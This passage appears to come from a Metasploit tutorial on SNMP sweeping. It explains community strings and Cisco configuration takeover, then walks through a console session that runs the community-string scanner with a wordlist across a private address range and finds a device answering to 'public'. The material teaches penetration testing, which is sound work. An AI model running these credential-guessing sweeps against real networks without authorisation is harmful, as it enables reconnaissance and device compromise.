SNMP Sweeping
SNMP sweeps are often a good indicator in finding a ton of information about a specific system or actually compromising the remote device. If you can find a Cisco device running a private string for example, you can actually download the entire device configuration, modify it, and upload your own malicious config. Also a lot of times, the passwords themselves are level 7 encoded which means they are trivial to decode and obtain the enable or login password for the specific device.
Metasploit comes with a built in auxiliary module specifically for sweeping SNMP devices. There are a couple of things to understand before we perform our attack. First, read only and read write community strings play an important role on what type of information can be extracted or modified on the devices themselves. If you can "guess" the read-only or read-write strings you can obtain quite a bit of access you would not normally have. In addition, if Windows based devices are configured with SNMP, often times with the RO/RW community strings you can extract patch levels, services running, last reboot times, usernames on the system, routes, and various other amounts of information that is valuable to an attacker.
When querying through SNMP, there is whats called an MIB API. The MIB stands for the Management Information Base (MIB), this interface allows you to query the device and extract information. Metasploit comes loaded with a list of default MIBs that it has in its database, it uses them to query the device for more information depending on what level of access is obtained. Let's take a peek at the auxiliary module. msf > search snmp
[*] Searching loaded modules for pattern 'snmp'...
Exploits
========
Name Description
---- -----------
windows/ftp/oracle9i_xdb_ftp_unlock Oracle 9i XDB FTP UNLOCK Overflow (win32)
Auxiliary
=========
Name Description
---- -----------
scanner/snmp/aix_version AIX SNMP Scanner Auxiliary Module
scanner/snmp/community SNMP Community Scanner
msf > use scanner/snmp/community
msf auxiliary(community) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
BATCHSIZE 256 yes The number of hosts to probe in each set
COMMUNITIES /pentest/exploits/framework3/data/wordlists/snmp.txt no The list of communities that should be attempted per host
RHOSTS yes The target address range or CIDR identifier
RPORT 161 yes The target port
THREADS 1 yes The number of concurrent threads
msf auxiliary(community) > set RHOSTS 192.168.0.0-192.168.5.255
rhosts => 192.168.0.0-192.168.5.255
msf auxiliary(community) > set THREADS 10
threads => 10
msf auxiliary(community) > exploit
[*] >> progress (192.168.0.0-192.168.0.255) 0/30208...
[*] >> progress (192.168.1.0-192.168.1.255) 0/30208...
[*] >> progress (192.168.2.0-192.168.2.255) 0/30208...
[*] >> progress (192.168.3.0-192.168.3.255) 0/30208...
[*] >> progress (192.168.4.0-192.168.4.255) 0/30208...
[*] >> progress (-) 0/0...
[*] 192.168.1.50 'public' 'APC Web/SNMP Management Card (MB:v3.8.6 PF:v3.5.5 PN:apc_hw02_aos_355.bin AF1:v3.5.5 AN1:apc_hw02_sumx_355.bin MN:AP9619 HR:A10 SN: NA0827001465 MD:07/01/2008) (Embedded PowerNet SNMP Agent SW v2.2 compatible)'
[*] Auxiliary module execution completed
As we can see here, we were able to find a community string of "public", this is most likely read-only and doesn't reveal a ton of information. We do learn that the device is an APC Web/SNMP device, and what versions its running.